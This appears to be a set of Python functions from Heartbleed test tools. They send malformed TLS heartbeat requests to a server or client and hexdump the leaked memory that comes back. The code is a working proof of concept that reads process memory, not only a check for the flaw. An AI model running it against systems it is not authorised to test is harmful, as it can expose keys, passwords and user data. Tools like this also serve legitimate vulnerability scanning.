def handle_ssl(sock, args, sslver='03 01'): # ClientHello sock.sendall(make_clienthello(sslver)) # Skip ServerHello, Certificate, ServerKeyExchange, ServerHelloDone sslver = skip_server_handshake(sock, args.timeout) # Are you alive? Heartbeat please! try: sock.sendall(make_heartbeat(sslver, args.payload_len)) except socket.error as e: print('Unable to send heartbeat! ' + str(e)) return False try: memory = read_hb_response(sock, args.timeout) if memory is not None and not memory: print('Possibly not vulnerable') return False elif memory: print('Server returned {0} ({0:#x}) bytes'.format(len(memory))) hexdump(memory) except socket.error as e: print('Unable to read heartbeat response! ' + str(e)) return False # "Maybe" vulnerable return True
def do_evil(self): '''Returns True if memory *may* be acquired''' # (2) HeartbeatRequest self.request.sendall(make_heartbeat(self.sslver, self.args.payload_len)) # (3) Buggy OpenSSL will throw 0xffff bytes, fixed ones stay silent memory = read_hb_response(self.request, self.args.timeout) # If memory is None, then it is not vulnerable for sure. Otherwise, if # empty, then it *may* be invulnerable if memory is not None and not memory: print("Possibly not vulnerable") return False elif memory: print('Client returned {0} ({0:#x}) bytes'.format(len(memory))) hexdump(memory) return True
def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False